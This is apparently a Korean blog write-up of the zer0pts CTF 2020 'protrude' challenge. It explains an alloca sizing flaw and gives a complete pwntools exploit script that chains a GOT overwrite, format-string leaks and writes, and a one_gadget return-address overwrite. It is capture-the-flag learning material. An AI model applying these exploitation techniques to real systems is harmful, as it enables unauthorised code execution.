일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- heap
- 연결리스트
- BFS
- 문자열 처리
- 다이나믹 프로그래밍
- off by one
- 수학
- ROP
- 완전 탐색
- BOF
- 스위핑 알고리즘
- House of Orange
- OOB
- 분할 정복
- 이분 탐색
- fsb
- 백트래킹
- syscall
- RTL
- 투 포인터
- 포맷스트링버그
- 브루트 포스
- 동적 계획법
- 큐
- tcache
- DFS
- 스택
- 이진트리
- 에라토스테네스의 체
- 이진 탐색
- Today
- Total
SDJ( 수돈재 아님 ㅎ )
zer0pts ctf 2020 - protrude 본문
파일 다운로드
으아 피곤하다
alloca함수를 처음 본 바이너리다.
돌리다가 계속 어딘가에서 터지는데 원인을 잘 몰라서 어셈블리어로 찬찬히 디버깅했더니
alloca(4 * n)하는 부분에서 뭔가 오류가 있는듯 보인다.
어셈블리로 본 alloca(4 * n)을 하는 과정
결론만 보면 별거없긴 한데.. 어셈블리어 로직상 alloca가 할당해주는 범위가 입력한 n*8보다 작기 때문에 입력을 하면서 alloca가 할당한 스택 프레임을 원하는 값으로 바꿀 수 있고, 원하는 값을 쓸 수 있게된다.
그래서 나는 atol 함수를 printf로 바꾸고 포맷스트링을 하다가 main함수의 ret를 one_gadget으로 바꾸고 익스했다.
어셈 초보의 노오력...
어셈블리어를 몰라서 이마저도 힘들게 느껴지는데 분발해야지..
풀다가 느낀 궁금한점..
윈도우랑 linux랑 long을 처리하는 byte기준이 다른건가 라는 의문이 생긴다.
맨 처음 alloca(4 * n)면 4byte씩 n개 해서 딱 맞게 할당하는 줄 알았는데 linux에서는 8byte로 처리를 해서 그냥 overflow 취약점이 존재하는 듯????(?
ㅠㅠ
어쨋든..
exploit 흐름
1. n을 제일 큰 값인 22로 준다.
2. 15번째에서 값을 잘 조절해서 alloca가 반환한 스택 프레임을 atol got로 바꾸고 printf의 plt로 덮는다. ( atol를 그대로 덮으면 안된다 index를 계산해서 덮어줘야 한다. )
3. 포맷스트링으로 n의 값을 크게 조절한다.
4. 포맷스트링으로 stack 값과 libc 값을 leak하고, alloca가 반환한 스택 프레임을 bss한가운데로 돌린다.
5. main의 ret을 one_gadget으로 바꾼다.
6. n을 0으로 바꾼다 ( main으로 돌아감 )
exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
from pwn import *
import binascii
p = process("./chall")
puts_plt = 0x400660
read_plt = 0x006b0
printf_plt = 0x400690
read_got = 0x601040
atol_got = 0x601048
printf_got = 0x601030
n = 0x00000000006010B0
t = 0.1
p.sendafter("n = ", str(22))
sleep(t)
for i in range(0x78//8):
p.sendafter(" = ", str(i+1))
p.sendafter(" = ", str(atol_got - 8*17))
p.sendafter(" = ", str(printf_plt))
pay = ''
pay += '%'+str(0x999)+'c%10$ln'
# pay += '%10$lx'
pay += '\x00'*(0x10 - len(pay))
pay += p64(n)
p.sendafter(" = ", str(pay)) # n -> infinite
pay = ''
pay += '%lx-%3$lx'
p.sendafter(" = ", str(pay))
stack_base = int(p.recvuntil("-")[:-1], 16) - 0x1fd40
print "stack_base : " + hex(stack_base)
libc_base = int(p.recvuntil("num")[:-3], 16) - 0xf7260
print "libc_base : " + hex(libc_base)
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[0]
print "one_gadget : " + hex(one_gadget)
buf_addr = stack_base + 0x1fe00
print "buf_addr : " + hex(buf_addr)
pay = ''
pay += '%' + str(0x1100) + 'c%10$hn'
pay += '\x00'*(0x10 - len(pay))
pay += p64(buf_addr)
p.sendafter(" = ", pay)
for i in range(8):
k = (one_gadget >> 8*i) & 0xff
if k != 0:
pay = '%' + str(k) + 'c%10$hhn'
pay += 'a'*(0x10-len(pay))
pay += p64(buf_addr + 0x28 + i) # ret
p.sendafter(" = ", pay)
pay = ''
pay += '%' + str(0) + 'c%10$ln'
pay += '\x00'*(0x10 - len(pay))
pay += p64(n)
p.sendafter(" = ", pay)
p.interactive()
|
'write-up > pwnable' 카테고리의 다른 글
pwn2win 2020 - tukro (0) | 2020.06.03 |
---|---|
SuSeC CTF 2020 - unary (0) | 2020.03.16 |
zer0pts ctf 2020 - diylist (0) | 2020.03.10 |
zer0pts ctf 2020 - hipwn (0) | 2020.03.10 |
utctf 2020 - zurk (0) | 2020.03.09 |